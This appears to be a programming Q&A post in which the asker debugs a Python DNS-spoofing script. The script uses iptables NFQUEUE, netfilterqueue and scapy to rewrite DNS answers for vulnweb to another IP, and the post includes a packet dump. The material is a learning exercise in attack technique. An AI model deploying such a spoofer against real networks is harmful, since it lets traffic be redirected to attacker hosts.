title: Using netfilterqueue I can't ping correctly when modifying a packet and sending it with scapy?
body: <p>I have a program that captures packets on my kali virtual machine and stores them in a queue table by the commands:</p>
  <pre><code>iptables -I INPUT -j NFQUEUE --queue-num 0
  iptables -I OUTPUT -j NFQUEUE --queue-num 0
  </code></pre>
  <p>So the queue number is 0, and here is the program I wrote:</p>
  <pre><code>import netfilterqueue
  import scapy.all as scapy
  
  def process_packet(packet):
      scapy_packet = scapy.IP(packet.get_payload()) #convert packet in queue table to a scapy packet to be able to modify
      if scapy_packet.haslayer(scapy.DNSRR): #dnsrr=dns response, dnsrq = dns request #check if theres dns response
          print(scapy_packet.show())
          qname = str(scapy_packet[scapy.DNSQR].qname)
          if &quot;vulnweb&quot; in qname: #check if bing is the url that is being sent back to the client
              print(&quot;[+] Spoofing target&quot;)
              answer = scapy.DNSRR(rrname=qname, rdata=&quot;54.165.58.209&quot;) #rrname is set to vulnweb.com, but ip is set to different
              scapy_packet[scapy.DNS].an = answer #sets the packet to use this answer .an=answer
              scapy_packet[scapy.DNS].ancount = 1
  
              del scapy_packet[scapy.IP].len
              del scapy_packet[scapy.IP].chksum 
  
              del scapy_packet[scapy.UDP].chksum
              del scapy_packet[scapy.UDP].len
              print(scapy_packet.show())
              print(&quot;:SADSKLFJFKDHFKSHDFHSUIJKDFHSDJHFBSDJHFBSDFSBD&quot;)
              print(&quot;:SADSKLFJFKDHFKSHDFHSUIJKDFHSDJHFBSDJHFBSDFSBD&quot;)
              print(&quot;:SADSKLFJFKDHFKSHDFHSUIJKDFHSDJHFBSDJHFBSDFSBD&quot;)
              packet.set_payload(bytes(scapy_packet))
  
      packet.accept()
  
  
  queue = netfilterqueue.NetfilterQueue()
  queue.bind(0, process_packet) #bind to the queue table of 0 that we made earlier in the terminal
  queue.run()
  </code></pre>
  <p>Then, I do <code>ping www.vulnweb.com -c 1</code> and it outputs <code>ping: www.vulnweb.com: Name or service not known</code>, or <code>ping: www.vulnweb.com: System error</code> so I printed the packet and it outputs the correct data, the ip is different and stuff, it was modified how I set it to.</p>
  <p>But apparently, the checksum and length are <code>none</code>, and I thought scapy packets would've recalculated the checksum and length if they aren't there. I think it's a problem in python 3 but not in python 2, so how I would fix this in python 3?</p>
  <p>Here is the printed packet:</p>
  <pre><code>###[ IP ]###
    version   = 4
    ihl       = 5
    tos       = 0x0
    len       = None                          #notice here its none
    id        = 7735
    flags     =
    frag      = 0
    ttl       = 255
    proto     = udp
    chksum    = None                          #notice here its none
    src       = 192.168.1.254
    dst       = 10.0.2.18
    \options   \
  ###[ UDP ]###
       sport     = domain
       dport     = 33216
       len       = None
       chksum    = None
  ###[ DNS ]###
          id        = 4985
          qr        = 1
          opcode    = QUERY
          aa        = 0
          tc        = 0
          rd        = 1
          ra        = 1
          z         = 0
          ad        = 0
          cd        = 0
          rcode     = ok
          qdcount   = 1
          ancount   = 1
          nscount   = 0
          arcount   = 0
          \qd        \
           |###[ DNS Question Record ]###
           |  qname     = 'www.vulnweb.com.'
           |  qtype     = A
           |  qclass    = IN
          \an        \
           |###[ DNS Resource Record ]###
           |  rrname    = &quot;b'www.vulnweb.com.'&quot;
           |  type      = A
           |  rclass    = IN
           |  ttl       = 0
           |  rdlen     = 4
           |  rdata     = '54.165.58.209'
          ns        = None
          ar        = None
  
  None
  :SADSKLFJFKDHFKSHDFHSUIJKDFHSDJHFBSDJHFBSDFSBD
  :SADSKLFJFKDHFKSHDFHSUIJKDFHSDJHFBSDJHFBSDFSBD
  :SADSKLFJFKDHFKSHDFHSUIJKDFHSDJHFBSDJHFBSDFSBD
  </code></pre>